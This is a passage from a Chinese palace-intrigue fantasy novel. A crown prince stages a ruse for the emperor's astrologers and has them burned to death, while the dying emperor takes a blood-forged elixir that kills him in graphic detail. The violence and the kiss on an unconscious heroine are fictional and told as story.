“你别忘了,这里是大胤皇城,不是你的北漠王庭!你的狼山卫再精锐,也架不住源源不断的大胤军队!”
赫连灼脚步一顿。
虽然不甘,但也知道萧景珩所言非虚。
他强压下怒火,冷冷道:“那你说怎么办?难道就任由那几条皇帝的走狗闯进绾绾的别苑为所欲为吗?”
“让他们进!”
萧景珩嘴角勾起一抹如同寒冰的弧度,眼神锐利地扫过门外,吩咐道:“寒鸦,立刻传讯渊阁!”
“第一,让阁中好手易容成青蚨跟绾绾的样子,坐镇别苑主屋,务必要装成‘病重垂危,气息奄奄’的样子,但绝不可让任何人靠近诊脉或细看。”
“第二,准备一个羊皮卷,上面随便写点偏方,再按照之前我们得到的金簪式样仿制一根。将他们全部放在别苑书屋一个‘隐秘’但又不难发现的暗格里。”
“第三,通知别苑内我们的人,配合演戏,务必让钦天监的人‘顺利’找到这两样东西,并且要让他们‘不小心’听到一些‘圣女命不久矣、全赖太子殿下以命续命’的绝望私语。”
萧景珩的声音不高,却字字如刀,精准地布下了一个请君入瓮的杀局。
皇帝想查?就让他查!
想确认绾绾的生死?
就让他看到他想看到的“真相”!
甚至…还要让他意外收获“重要证据”,同时,将萧景珩为林绾绾“以命续命”的消息放出去。
这些一旦传入皇帝耳中,那个多疑的老狐狸会怎么想?
是觉得太子他们故意示弱,要放松他的警惕、引蛇出洞?
是喜闻乐见太子自毁长城?
还是会联想到太子跟圣女同时不在,他的长生蛊就绝无再复苏的可能?
这步棋,埋的是离间的种子!
门外的寒鸦立刻躬身领命:“属下明白!这就去办!”
他身影一闪,迅速消失在静室门外。
赫连灼看着萧景珩,眼眸中闪过复杂的光芒。
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这男人的心计和手段,当真是深不可测,却又…该死的有效!
“至于钦天监…”
萧景珩的目光转向赫连灼,带着一丝冰冷的算计。
“他们不是最擅长‘祈福消灾’吗?等他们找到‘证据’,探明圣女身体状况后,就让他们…永远留在别苑‘专心祈福’好了。”
“记得,手脚干净点,做成‘意外’对你来说应该不难。”
赫连灼闻言,先是一愣,随即嘴角裂开一个充满野性和杀意的弧度。
“这个‘意外’,本狼主很擅长,让我来安排!保证让皇帝老儿哑巴吃黄连!”
他正愁一肚子邪火无处发泄。
杀几个皇帝的爪牙,正好祭刀!
萧景珩点了点头,不再多言。
他重新低下头,将全部的注意力都放回到怀中的人儿身上。
他又小心翼翼地调整了一下姿势,让林绾绾能更舒适地靠着自己。
指腹带着无尽的眷恋,轻轻摩挲着林绾绾冰凉的手背。
刚才布下杀局的冷酷算计瞬间褪去,只剩下浓得化不开的温柔与心疼。
“你看,绾绾…”
萧景珩低下头,温热的唇几乎贴着林绾绾冰冷的耳廓,用只有两人能听到的极低的声音呢喃,带着一丝邀功般的委屈。
“那些想害你的,想打扰你的…我都替你处理干净,一个不留…你快点好起来…好不好?”
他的气息拂过林绾绾敏感的耳垂。
或许是玉佩和持续注入的生命能量起了作用,也或许是那低沉温柔的呢喃触动了什么。
昏迷中的林绾绾,苍白的指尖竟无意识地动了一下。
如同蝴蝶振翅般微弱,却恰好…轻轻地勾住了萧景珩一片湿透的衣角。
这微小的动作,如同最强烈的电流,瞬间击穿了萧景珩的心脏!
他高大的身躯不可控制地微微一震。
赤红的眼眸中爆发出狂喜到极致的光芒。
她听到了!她一定是听到了!
她在回应自己!
这动作,虽微弱,却成为了萧景珩黑暗中最璀璨的曙光!
第152章 温泉惊澜
萧景珩看着林绾绾的回应,再也抑制不住激动。
他低下头,滚烫而颤抖的唇,带着失而复得的狂喜和无尽的后怕,如同烙印般,深深地吻上林绾绾光洁的额头。
那吻,虔诚而炽烈,带着占有和深入骨髓的怜惜,仿佛要将所有的恐惧与爱恋都通过这个吻烙进林绾绾的灵魂深处。
“唔…”
或许是额上突如其来的滚烫触感太过强烈,昏迷中的林绾绾发出一声如同幼猫般的嘤咛。
那灰败的脸颊上,竟悄然晕开了一朵极淡的绯红。
门外的赫连灼看着温泉池内的一幕,琥珀色眼眸深处最后一丝的不甘与挣扎化作释然与祝福。
他默默地转过身,大步走向门口,将这片空间彻底留给了这对在生死边缘苦苦挣扎、紧紧相拥的爱侣。
“绾绾…”
萧景珩沙哑的呼唤还在温泉静室内回荡着。
此刻,林绾绾濒临断绝的死寂感已悄然褪去,取而代之的是一种进入深层休养的平稳。
心口绷带下,毒素已经被玄冥寒气与玉佩的力量牢牢锁住。
虽未消退,但却不再疯狂蔓延。
静室内的门被轻轻推开一条缝隙,青蚨的身影无声闪入。
她手中捧着一个精致的白玉托盘,上面放着热气腾腾的汤药和几碟精致的药膳点心。
当她看到林绾绾脸上那抹淡淡的绯色,眼中也闪过喜色,但随即被凝重取代。
“阁主,”青蚨的声音压得极低,带着肃杀之气。
“寒鸦来报,别苑那边,渊阁的人已经就位。”
“钦天监监正及其三名心腹弟子,由京畿卫五百精锐护送,已强行进入圣女别苑内。”
“他们以‘圣命在身,需确保祈福法事无碍’为由,派兵把守了所有出入口。而监正则带人直奔主屋,要求探视圣女病体,以定祈福法事方位时辰。”
萧景珩抱着林绾绾的手臂纹丝未动,甚至连眼神都未曾从林绾绾的脸上移开半分。
他的声音更是冰冷无波:“别苑中的人是如何应对的?”
“回阁主,渊阁有人扮作‘小荷’,应对极佳。”
青蚨想起寒鸦的叙述,眼中对眼前男子的未卜先知和指挥若定浮现出满满的敬畏。
“‘小荷’守在‘圣女’床榻前,隔着重重纱幔哭诉着圣女伤重垂危、昏迷不醒、药石罔效。”
“言语间还多次提及''太子殿下不惜以自身精血日夜渡人,方勉强吊住圣女一线生机'',‘殿下损耗过度,形销骨立’…”
“钦天监监正隔着纱幔远远看了一眼。但床榻上人影模糊,气息确实微弱至极。想必他已经相信了八成。”
“他不敢强行靠近,只是在外假惺惺说了些场面话,便退了出去。然后就在别苑内,四处勘察风水。”
“很好。”萧景珩薄唇勾起一抹冰冷的弧度,“书房‘暗格’呢?”
“按照阁主吩咐,书房内室**架第三层的砚台下,有个暗格‘不经意’松动了。里面放置的金簪跟羊皮纸卷已经被监正大弟子意外发现!”
青蚨说着,语气带着一丝嘲讽。
“那弟子如获至宝,立刻呈给了监正。而监正在查看时,我们安排在书房外洒扫的侍女的议论,也‘恰好’能让监正听到…”
青蚨模仿着从寒鸦那里学来的语气,带着“哭腔”:“…太子殿下待圣女真是情深义重,可圣女所中之毒根本无解啊!这样耗下去,他们怕是撑不了多久…”
赫连灼不知何时重新回来,抱着手臂靠在门边,琥珀色眼眸中闪烁着野性的杀意。
他嘴角咧开:“老东西想听的也都听完了!这出戏,也该收个尾了。”
“监正拿到了‘证据’,又确认了圣女垂危,太子损耗过度的消息,想必是心满意足。”
萧景珩的声音如同冰凌,“记得让他们‘祈福’得久一点。等夜深人静的时候,再送他们上路。”
“本狼主早就让青蚨安排好了,你就放心吧!”赫连灼的语气中充满了自信。
“属下保证这场意外,会做得干干净净。”
青蚨放下手中的托盘,悄然退下。
静室内再次只剩下三人。<
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br>赫连灼在池边不停踱步。
他看着萧景珩那副旁若无人的专注模样,以及林绾绾在他怀中安然沉睡的姿态,心头那股憋屈感又涌了上来。
他的目光落在托盘上那碗冒着热气的漆黑汤药上。
那是他让王庭大长老翻阅了所有古籍,根据绾绾现在的伤势和毒素,特意调配的续命固原的汤药,用了好几味珍稀药材。
“喂药了。”
赫连灼没好气地开口,伸手就要去端那碗药。
他想着林绾绾昏迷无法吞咽,需得有人小心撬开嘴巴,然后一勺勺渡入。
然而,他的手还没碰到碗沿,一道冰冷锐利的目光便如同实质般刺来。
“孤来!”
萧景珩的声音不高,却带着独占的意味。
他小心翼翼地调整了一下林绾绾的姿势,让她靠在自己臂弯里。
然后稳稳端起了药碗,准备喂药。
赫连灼的手僵在半空,看着萧景珩那理所当然的姿态,一股邪火直冲脑门。
“萧景珩,你什么意思?难道本狼主还会害绾绾不成?”
萧景珩眼皮都没抬,语气平淡无波,“她是我的人,她的药,也自然只能由我来喂。”
说罢,他舀起一勺药汁,放在唇边仔细吹凉。
那专注的神情,仿佛在完成世间最神圣的仪式。
“你的人?”
赫连灼被这赤裸裸的占有宣言刺激得上头,“萧景珩!你别忘了!她是我北漠圣女!是我赫连灼未过门的…”
“婚约无效。”
萧景珩冷冷打断他,终于抬起眼。
眼眸中带着睥睨天下的强势与一丝不易察觉的醋意,“绾绾亲口说过,她的婚事,你无权置喙!”
“你...!”
赫连灼气的额角青筋爆起,琥珀色的眼眸几乎要喷出火来。
他猛地向前踏上一步,手按上了刀柄:“萧景珩!你欺人太甚!若非看在绾绾的份上,本狼主…”
“若非看在绾绾的份上,你此刻,已经是具尸体。
萧景珩的声音降至冰点,周身无形的煞气弥漫开来。
第153章 别苑藏计
温泉静室内,萧景珩跟赫连灼剑拔**张,无形的火花四溅!
空气紧绷到了极点,充满了**味。
“咳…嗯…”
萧景珩臂弯中的林绾绾,突然发出一阵低低的呛咳,眉头痛苦地蹙起,身体也微微挣动一下。
这微小的动作,如同冷水浇头,瞬间熄灭了两个男人之间即将爆发的战火。
“绾绾!”
萧景珩立刻低头,所有的冰冷煞气瞬间化为乌有,只剩下满眼的焦灼与心疼。
他急忙放下手中的药碗,一手轻拍林绾绾的后背,一手再次按上她的至阳穴。
精纯的寒气小心翼翼地渡入,试图缓解林绾绾的不适。
赫连灼也收回了按在刀柄上的手,眼眸中的怒火被担忧取代,下意识地也想上前查看。
萧景珩却像是背后长了眼睛一般,头也不回,冰冷的声音中带着警告:
“离她远点!”
赫连灼的脚步被硬生生钉在原地,看着萧景珩那副恨不得将林绾绾揉进骨血,隔绝一切的模样,一股强烈的无力感涌上心头。
他烦躁地抓了抓头发,低吼道:“萧景珩!你简直不可理喻!本狼主是担心绾绾的伤势!这药必须趁热喝下去,药力才能化开。你这样磨蹭,是想害死她吗?”
这话瞬间戳中了萧景珩的软肋。
他身体一僵,低头看着林绾绾因呛咳而显得痛苦的脸庞,又看了看旁边冒着热气的药碗。
赫连灼说得没错,药冷则效减。
可让绾绾这样呛咳着强行灌药,更是危险。
就在他陷入两难之际,赫连灼从怀中掏出一个精致小巧的玉瓶,没好气地扔向萧景珩:“接着!”
萧景珩反应极快。
空着的左手凌空一抓,稳稳接住。
玉瓶入手温润,散发着淡淡的草木香气。
“这是大长老八百里加急送来的‘冰魄凝露’!取圣湖冰心之水,混合七种寒性灵药精华凝练而成。药性至纯至寒,可压制毒素。”
“滴三滴入药汤中,能极大缓解药汤的苦涩和灼烧感,助药力温和滑开,也便于吞咽。”
他别开脸,语气别扭生硬。
萧景珩看着手中的玉瓶,又抬眼看了看赫连灼那副明明憋屈得要死却还是拿出宝贝的别扭样子,眼眸深处的敌意终于松动了一些。
他没有道谢,只是拔开瓶塞,依言滴了三滴冰魄凝露到漆黑的药汤中。
原本浓稠漆黑的药汁,在融入凝露的瞬间,竟迅速变得清亮了几分。
浓烈刺鼻的苦涩味被一股清洌悠远的寒香取代,连蒸腾的热气都带上了一丝冰凉的意味。
萧景珩再次舀起一勺药汁,小心翼翼凑到林绾绾唇边。
这一次,昏迷中的林绾绾似乎被清洌的寒香吸引,紧蹙的眉头微微舒展,苍白的嘴唇无意识地张开了一条缝隙。
萧景珩眼中闪过一丝光亮。
他屏住呼吸,极其小心地将药汁喂了进去。
药汁平稳滑入林绾绾的喉咙,没有引起呛咳,只有喉间细微的吞咽动作,显示这药液进入林绾绾体内。
真的有效!
萧景珩精神一振,立刻一勺接着一勺,动作更加轻柔专注。
赫连灼则默默转过身,抱着双臂望着窗外沉沉的夜色。
一碗药终于喂完。
萧景珩紧绷的神经终于稍稍放松。
他将空碗放在池边,用干净的软巾,轻柔地擦拭着林绾绾唇边的药渍。
指腹流连过林绾绾苍白的唇瓣,带着无尽的怜惜。
就在这时,静室的门被轻轻叩响。
“阁主,圣女别苑有变!”寒鸦在门口禀报着。
萧景珩擦拭的动作一顿,眼神瞬间锐利如刀:“说。”
“就在一刻钟前,京畿卫五百精锐中,突然分出一支约百人的小队,由一名校尉带领,直奔别苑后院的库房和药庐。”
寒鸦说着,语气越发急促。
“他们动作极快,目标明确!以‘彻查安全隐患,确保祈福法事无虞’为由,强行闯入。”
“库房内存放的北漠珍惜药材,还有药庐里晾晒的几味特殊药草,被他们翻得一片狼藉!他们似乎在刻意搜寻什么特定的药材!”
刻意搜寻药材?!
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>皇帝派兵以“祈福”名义进入别苑,搜查证据,确认林绾绾生死是意料之中的事情。
但分了兵力特意去寻找药材,这绝非寻常!
“他们拿了什么?”
赫连灼转身朝着门外询问道。
“他们拿走了库房里的三株百年份的‘赤血灵芝’,药庐里晾晒的‘九阴还魂草’的干叶,还有一小盒‘碧磷蟾酥’!”
“这些都是极其罕见、药性猛烈的药材!尤其‘碧磷蟾酥’,本身剧毒,寻常医者根本不敢轻易动用。”
赫连灼闻言,眉头紧锁。
这三种药材,不仅珍贵,而且药性南辕北辙。
赤血灵芝,大补气血,常用于吊命续元;
九阴还魂草,药性极寒,多用于压制火毒或者炼制阴寒属性的丹药;
而碧磷蟾酥,则是至阴至毒的毒物,常用于以毒攻毒…或者炼制某些阴邪歹毒的蛊物!
皇帝要这些药材做什么?
而且不惜在“祈福”的遮掩下,明目张胆地抢夺!
一个令人毛骨悚然的念头,突然窜入萧景珩的脑海——
长生蛊被毁,皇帝应该是遭受到了反噬。
他在尝试自救!
或者…是用这些药材,强行续命?
又或者…他想再次启动某种邪法?
“好…好得很!”
萧景珩的声音如同九幽寒风,“看来我们的皇帝陛下,还没死心!他以为,夺走这些药材,就能翻盘吗?”
赫连灼瞬间明白了其中的关窍,琥珀色的眼眸中杀机爆涨。
“这老东西!死到临头还想作妖!本狼主这就带人去把那些狗腿子剁了,把药材抢回来!”
“不必。”
萧景珩冷冷道,眼中闪烁着冰冷算计的光芒。
“让他拿!”
“别苑中的药草我早已做过手脚!”
“赤血灵芝年份不足,药力驳杂;九阴还魂草干叶药性已经流失大半;碧磷蟾酥…”
“哼!那盒是孤特意让寒鸦准备的‘次品’,毒性早已被销掉,若强行使用,稍有不慎,便是催命符!他想要,就让他尽管用!”
第154章 深情一吻
温泉内,萧景珩低头看着怀中气息越来越平稳的林绾绾,声音低沉却带着掌控一切的自信:
“正好,让他替我们试试这些‘药’,看看能不能解他的‘渴’!”
赫连灼一愣,随即明白了萧景珩的用意。
这是要让皇帝自食其果!
若皇帝不用这些药材,尚可活命。
若是用了这些药材,只会加速他的死亡!
他看向萧景珩的目光,第一次带上了忌惮。
这个男人,不仅武力强横,心计更是深如渊海。
对敌人狠,对自己更狠!
他能在如此混乱紧急的时刻,还布下这等阴狠的后手…着实可怕!
“那…钦天监的人,我现在可以动手了吗?”赫连灼问道。
萧景珩眼中寒芒一闪:“按计划,送他们‘上路’。手脚干净点,别留下任何把柄。另外…”
他顿了顿,朝门外吩咐道:“寒鸦,皇宫里你要多留意,看看皇帝是否在大肆搜罗类似药材。”
“是!”寒鸦领命,匆匆退下。
赫连灼沉默片刻,也转身离开静室,着手去安排别苑那边的“意外”。
静室内,只剩下林绾绾和萧景珩二人。
萧景珩将林绾绾轻轻放回温热的泉水中。
他拿起一旁的软巾,沾湿了,极其轻柔地擦拭着林绾绾额角的冷汗。
动作细致而专注。
指尖流连在林绾绾细腻却苍白的肌肤上。
顺着动作,指尖接着拂过林绾绾秀气的眉骨,挺翘的鼻尖…
最终,指尖停驻在那失去血色、却依旧美好的唇瓣上。
那唇瓣因为之前的呛咳和喂药,微微有些红肿,带着一种脆弱的诱惑。
萧景珩的呼吸,不由自主地沉重了几分。
赤红的眼眸深处,压抑了许久的、混杂着恐惧和后怕的汹涌情感,如同熔岩般翻滚沸腾。
他俯下身,滚烫的唇带着深入骨髓的怜惜,重重地、深深地覆盖在了林绾绾的唇上。
不是额头那虔诚的烙印,而是唇齿间最直接、最炽烈的占有与确认!
“唔…!”
昏迷中的林绾绾似乎感受到了这突如其来、强烈到无法忽视的入侵,身体本能地微微挣扎了一下,发出一声含糊的呜咽。
但她的动作太微弱,根本没有惊动男人铁箍般的臂膀和强势的掠夺。
萧景珩的吻,带着一种近乎绝望的贪婪。
他撬开林绾绾无力的齿关,长驱直入,攻城略地。
舌尖品尝到她口中残留的苦涩药汁和独属于她的淡淡药香,也尝到了…一丝若有若无的血腥气。
那是林绾绾心脉受损、内腑受创的证明!
这丝血腥味如同烈火烹油,瞬间点燃了萧景珩心中所有的暴戾与后怕。
他吻得更深、更重,仿佛要通过这个吻将林绾绾所受的痛苦,都吸纳入自己的骨血。
这个吻,霸道而缠绵,绝望而炽烈。
温热的泉水在他们周身荡漾,氤氲的水汽模糊了界限。
萧景珩一手紧紧扣着林绾绾的后脑,一手环着她的腰,将她冰冷的身躯死死按向自己滚烫的胸膛。
两人心口的位置紧密相贴。
隔着薄薄的衣衫和绷带,那两枚沉睡的火焰印记,仿佛感受到了主人们剧烈的心跳和汹涌的情感,竟隐隐散发出微弱的、同步的温热感。
不知过了多久,直到怀中的人儿因缺氧而发出更加急促的喘息,萧景珩才如同惊醒般,猛地松开了对林绾绾的禁锢。
萧景珩微微抬起头,赤红的眼眸中燃烧着未退的情欲和深沉的痛楚。
他的视线紧紧锁着林绾绾因着激烈的吻而染上的些许红晕的脸颊,指腹带着无尽的懊悔和心疼,拭去林绾绾唇瓣上那点刺目的嫣红。
萧景珩低下头,额头抵着林绾绾的额头,二人的呼吸交织在了一起。
“对不起…”
萧景珩沙哑的低语,声音带着浓重的鼻音,“弄疼你了绾绾…我只是…太怕了…”
人前强悍无匹,算无遗策的血鸦阁主,在爱人的生死面前,所有的强大都化作了恐惧失去的卑微。
他紧紧抱着林绾绾,声音低沉而坚定,如同最沉重的誓言:
“等你好了…我带你离开这
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个**的地方…我们去到江南…一起去种昙花…”
“所有的仇…所有的恨…我来清算…你只需要好好活着…活在我身边…”
回应他的,是林绾绾在他怀中,平稳悠长的呼吸,以及心口处,隐隐共鸣的温热。
******
圣女别苑。
夜色如墨,笼罩着这座刚刚经历了一场“祈福”闹剧的府邸。
前院的喧嚣早已散去,只剩下死一般的寂静和空气中若有若无的、劣质香烛燃烧后留下的呛人的气息。
后院,靠近库房的一处偏僻厢房,此刻被临时改造成了钦天监监正及其弟子的“祈福静室”。
房间内烛火通明,却驱不散一股阴冷诡谲的氛围。
墙壁上贴满了画着扭曲符文的黄纸,地上用朱砂画着一个巨大的、形似骷髅头的诡异法阵。
法阵中央,摆放着两件刚从书房暗格里寻获的证物——
一张羊皮卷跟一支金簪!
监正穿着脏兮兮的衣服,头发散乱,脸上带着一种病态的狂热和兴奋。
他绕着法阵口中念念有词,手舞足蹈。
他的三个弟子也在一旁敲着法器,吟唱着不成调的咒文。
他们不是在祈福,而是根据皇帝的旨意,在进行源自某种邪术的“咒杀”仪式。
目标就是这个别苑的主人——林绾绾!
监正的剑尖闪过一点幽绿的磷光,直指向法阵中央。
然而,就在他剑尖挥动瞬间!
“噗--!”
法阵边缘,一支用来照明的粗大蜡烛,毫无征兆地猛地爆开!
滚烫的蜡油混合着燃烧的灯芯,如同天女散花般、猛地溅射向法阵中央,以及法阵周围堆积如山、画满符咒的黄纸堆里。
“啊!”
一名弟子被滚烫的蜡油溅到脸上,发出凄厉的惨叫。
“不好!”
监正脸色剧变,想要补救。
晚了!
燃烧的灯芯被弟子在疼痛间挥落到黄纸堆里,冲天的烈焰立刻爆起!
火舌贪婪地舔舐着满屋子的布幔、法器和家居!
浓烟滚滚!
第155章 别苑意外
别苑内,烈火滔天!
“走水了!快跑啊!”
钦天监监正魂飞魄散,再也顾不上什么法事,连滚带爬地想往外冲。
然而,就在他冲到门边时,“咔嚓”一声轻响,那看似结实的门栓,竟不知何时被人用巧劲震断了。
房门被外面一股大力猛地推开。
一股带着浓烈火油味的狂风,裹挟着灼热的气浪,猛地灌了进来。
屋内的火势瞬间推向更高的浪潮。
钦天监监正和他那几个惨叫的弟子彻底被烈火吞噬。
“啊——!救命啊——!”
凄厉绝望的惨叫声在熊熊烈火中响起,如同地狱传来的哀嚎,随即被火焰燃烧的噼啪声和房屋倒塌的轰鸣彻底淹没。
烈焰冲天,迅速蔓延,整个厢房转眼间化作一片火海。
浓烟滚滚,直冲云霄,映红了别苑上方的夜空。
远处,负责封锁别苑的京畿卫们看到后院冲天而起的火光,顿时一片哗然!
“走水了!快救火!”
“是监正的祈福静室,快救人!”
士兵们乱作一团,纷纷提着水桶冲向火场。
然而,火势蔓延得太快太猛,等他们砸开被火封住的道路冲进去时,只看到几具烧得面目全非、蜷缩在一起的焦黑尸体。
京畿卫统领站在火场外,看着眼前的惨状,脸色铁青,眼神深处闪过惊惧。
这火…起得太过诡异。
他猛然间想起自己带着小队,在后院药庐翻找时听到的异动…
一股寒意,瞬间从脚底窜上脊梁骨!
他不敢再多想,立刻对手下厉声喝道:
“快!立刻回宫禀报陛下!钦天监监正及弟子,于祈福时意外遭逢火灾,不幸罹难!”
语气间,刻意加重了“意外”二字。
与此同时,皇城深处,那座象征着至高权力的养心殿内,正被一股阴郁、腐朽的气息笼罩着。
浓烈的,混杂着血腥与奇异药草的味道,从紧闭的殿门缝隙中丝丝缕缕渗出,熏得门外侍立的小太监几欲作呕。
殿内,光线昏暗。
所有的窗户都被厚重的黑色绒布严严实实地遮住,只有角落点着的几盏摇曳的宫灯,将宫殿映照得如同鬼域。
明黄色的龙榻上,皇帝萧胤半倚着,身上盖着厚厚的锦被,却依旧不停地打着寒颤。
他的脸色呈现一种极不正常的青灰色,眼窝深陷,嘴唇乌紫干裂。
短短数日,曾经锐利威严的帝王,整个人如同被抽干了血肉,形销骨立。
“呃…嗬…”
皇帝喉咙里发出破风箱般的喘息,每一次吸气都仿佛用尽了全身力气,胸口剧烈起伏。
龙榻边,跪着太医院院正和另外两名须发皆白的老太医。
三人额头冷汗涔涔,后背的官服早已被冷汗浸透。
他们的身体伏在地上,控制不住地微微颤抖。
“废物!一群没用的废物!”
萧胤的声音嘶哑尖锐,带着怨毒和虚弱:“朕养你们有什么用?这点小病都治不好!”
“陛下息怒!龙体为重啊!”
院正的头磕得砰砰响,声音满是哭腔。
“陛下…陛下这脉象实在是诡异凶险。阴寒蚀骨兼阳火焚心,两种截然相反,但又霸道至极的力量在龙体内疯狂冲撞。这绝非寻常病症,臣等实在束手无策!”
“废物!咳咳咳…”
萧胤又是一阵剧烈的咳嗽,咳得撕心裂肺,嘴角甚至溢出一丝暗黑色的血沫。
他枯瘦的手指死死抓住锦被,指节因为用力而泛白。
“朕要的不是你们说这个,朕要你们想办法压制!压制!”
“朕要你们找的药哪?咳咳咳”
萧胤浑浊的眼睛死死盯着侍立一旁的高德胜。
高德胜连忙上前一步,小心翼翼地捧上一个锦盒。
打开盒盖,锦盒内赫然放着三样东西:
一株颜色暗红,形状扭曲的灵芝,一小包干枯发黄的叶片,还有一小块散发蓝绿色磷光的胶状物。
“回…回陛下,”高德胜的声音带着不易察觉的恐惧,“东西是拿回来…只是…”
“给朕炼!”
萧胤眼中爆发出骇人的精光,如同垂死的野兽看到最后一丝生机,声音变
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得越发刺耳。
“用最快的法子!朕…等不了!立刻!马上!”
“陛下!万万不可啊!”
院正不顾一切地抬头,老泪纵横。
“这赤血灵芝药性霸道而斑驳,九阴还魂草干叶寒性过烈,碧磷蟾酥更是至阴剧毒!”
“三者药性相冲相克,贸然合用,如同饮鸩止渴,稍有不慎便是经脉寸断,神仙难救啊!”
“陛下龙体为重!请陛下三思啊!”
太医们磕头如捣蒜,言辞恳切。
“闭嘴!”
萧胤抓起龙榻旁的一个玉碗,狠狠砸向地上的太医们。
玉碗擦着院正的额角飞过,砸在地上摔得粉碎,碎片四溅!
“朕是天子!天命所归!朕是不会死的!给朕炼!用…用‘引血化丹’之法!快!”
他声嘶力竭地咆哮,装若疯魔。
什么君臣纲常,什么药理医道,在萧胤疯狂的长生执念和濒死的恐惧面前,统统被碾得粉碎!
萧胤现在只知道,圣蛊被毁了,他遭受了反噬,身体正以一种恐怖的速度崩溃!
他必须抓住任何可以维持生命力量的机会,哪怕只有一丝希望!
“引血化丹”?!
院正和另外两名太医瞬间面无人色。
那是记载在邪道丹书中的禁忌之法!
以活人精血为引,强行催化药力。
这法子成丹速度极快,但药性狂暴无比,对服药者伤害极大,对提供精血者更是酷刑!
而且想做成一枚丹药,可能要数十人的精血!
皇帝这是彻底疯了!
太医院院正偷瞧着皇帝疯狂的神色,却不敢有丝毫违逆。
三人低头,压抑的应诺。
萧胤喘息着,浑浊的目光扫过地上瑟瑟发抖的太医,最终将视线定格在院正身上,声音如同毒蛇吐信。
“你!亲自盯着炼!若出差池,朕不仅将你**万段,还要拿你全族来炼丹!”
话说完,又是一阵撕心裂肺的咳嗽,黑色的血沫溅落在明黄的衣袍上,触目惊心。
院正浑身冰凉,如坠冰窟,只能绝望地磕头领命。
第156章 毒火焚心
夜色深沉。
养心殿后一处偏僻的宫室内,弥漫着令人作呕的腥甜气息。
一口青铜丹炉被架在熊熊炭火之上,炉壁内刻满了扭曲的符文。
炉火映照下,太医院院正面无人色。
他双手颤抖着,将锦盒中的三样药材依次投入炉中。
令人毛骨悚然的是,丹炉旁,几名被捆绑并堵住嘴的年轻宫女,手腕被利刃割开,殷红的鲜血正汩汩流入炉底一个特制的凹槽中。
她们眼中充满了极致的恐惧和绝望,身体因失血和疼痛而剧烈抽搐着,嘴里发出呜呜的悲鸣。
太医院院正闭上眼,老泪纵横,口中念念有词。
不知是在祈祷还是在忏悔。
他按照“引血入丹”的记载方法,将药材投入,引动炉火。
炉内顿时发出“滋滋”的怪响,一股难以形容的味道混合着血腥味升腾而起。
殿前龙榻上,萧胤浑浊的眼睛死死盯着后殿的方向,枯瘦的手指抠抓着锦被,口中发出嗬嗬的喘息。
不知过了多久。
“噗--!”
一声闷响从丹炉内传来。
太医院院正猛地睁开眼。
只见炉盖被一股狂暴的气流冲开!
一枚龙眼大小、通体呈现一种诡异黑紫色、表面坑洼不平,并且散发着浓郁腥甜与**气息的丹药,从炉口喷出,落入院正早已准备好的玉盘中。
丹药炼成了!
但那色泽、那气息…分明透着浓浓的不详。
高德胜颤抖着双手,捧着这枚尚带着滚烫余温的诡异丹药,快走走到龙榻前:“陛下…丹…成了…”
萧胤闻言,瞬间瞪圆了眼睛,如同赌徒抓住了最后的筹码。
他一把抢过丹药。
没有丝毫犹豫,甚至顾不上丹药的滚烫,张开嘴,一口便将那紫黑色的丹药囫囵吞了下去。
丹药入腹,萧胤喉咙里发出一声满足又痛苦的呻吟。
没多久,他枯槁的脸上瞬间涌起一股极其不正常的潮红,浑浊的眼睛瞪得极大,身体剧烈抽搐起来。
“陛下!”
高德胜和太医院院正惊恐欲绝。
仅仅过了片刻。
萧胤猛地喷出一大口黑紫色的、散发着恶臭的污血。
那污血落到明黄的锦被上竟然发出“嗤嗤”的腐蚀声音。
一声凄厉到不似人声的惨嚎,猛地从萧胤喉咙里爆发出来。
“啊!好疼!啊——!”
龙榻之上,萧胤枯槁的身体如同被投入滚油中的活虾,身体疯狂地弹跳、扭曲。
那身明黄的寝衣再次被冷汗和不断渗出的带着**气息的粘稠液体浸透,紧紧贴在他的皮肤上。
紫黑色的脉络如同蔓延的毒藤,以肉眼可见的速度爬满了萧胤枯瘦的脸颊、脖颈,甚至有向着裸露的手腕和头皮蔓延的趋势。
他的双眼在极致痛苦下瞬间布满血丝,几乎要凸出眼眶。
“啊——!好痛啊!”
萧胤十指成爪,死命地抓着自己的胸口和脖颈,发出“嗤啦,嗤啦”的声响。
单薄的寝衣在他指下被撕开,枯槁的皮肤上瞬间布满道道血痕。
“陛下!陛下龙体为重啊!”
高德胜吓得魂飞魄散,扑上去想要按住皇帝伤害自己的双手,却被一股狂暴的力量猛地掀开,重重撞在龙榻旁的柱子上,眼冒金星。
“反噬太厉害!而且药性相冲!那几味剧毒在体内已经没有办法扼制了…完了,全完了。”
太医院院正瘫软在地,面无人色地喃喃道。
那枚被萧胤强行吞下的丹药,如同最猛烈的强化剂,不仅未能压制住他体内因圣蛊毁灭而肆虐的反噬之力,反而如同火上浇油,彻底引爆了他体内相冲的阴寒与阳火。
更可怕的是,碧磷蟾酥的剧毒,正在疯狂侵蚀萧胤本就千疮百孔的经脉肺腑。
“呃…噗——!”
又是一大口黑紫色的污血从萧胤口中狂喷而出。
这一次,污血溅落在地面上,发出“滋滋”轻响,随后升腾起刺鼻的白烟。
地砖表面,赫然留下一片焦黑的腐蚀痕迹。
更令人毛骨悚然的是,那滩污血中,似乎混杂着细小的、仍在微微蠕动的黑色颗粒
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!
如同…虫卵一般。
“是蛊虫!”
好不容易挣扎起身的高德胜,看着地上的东西,惊呼出声!
他终于明白,陛下体内不仅有丹药剧毒,还有长生蛊的蛊虫也已经完全抑制不住了!
如今蛊婆婆已经不在,这剧毒与蛊毒二者合一,怕是神仙难救!
“救…救朕…朕还不想…死…”
“朕…还要长生…”
萧胤浑浊的眼中,那疯狂的光芒被无边的恐惧和痛苦取代。
他伸出枯爪一般的手,死死抓住高德胜的衣袍下摆,如同抓住最后的稻草,声音破碎不堪,“药…还有没有…药?”
高德胜看着皇帝脸上狰狞的紫黑经络,感受着衣袍上传来的、带着腐蚀性的黏腻触感,胃里一阵翻江倒海。
他强忍着恐惧和恶心,哭喊着:“陛下!真的没了!别苑那边只有这些药…”
“废物!都是废物!”
萧胤眼中瞬间再次被怨毒和疯狂填满。
他猛地甩开高德胜,手指颤抖地指向太医院院正,“你们,给朕想办法!想不出来…朕就活剥了你们!朕诛你们九族!九族!”
长生梦未成,死亡的大门却已经对着他打开。
死亡的威胁和极致的痛苦,如同最残酷的鞭子,抽打着萧胤扭曲的神经。
一个更加疯狂、更加不计后果的念头,突然在他脑海中滋生。
既然找不到现成的解药,那就…自己造!
那个模糊的,源自蛊婆婆曾经只言片语提及过的、极其邪恶的“噬元补身”**在萧胤混乱的记忆闪现。
这种方法似乎是需要至阴至寒的生命本源为引…
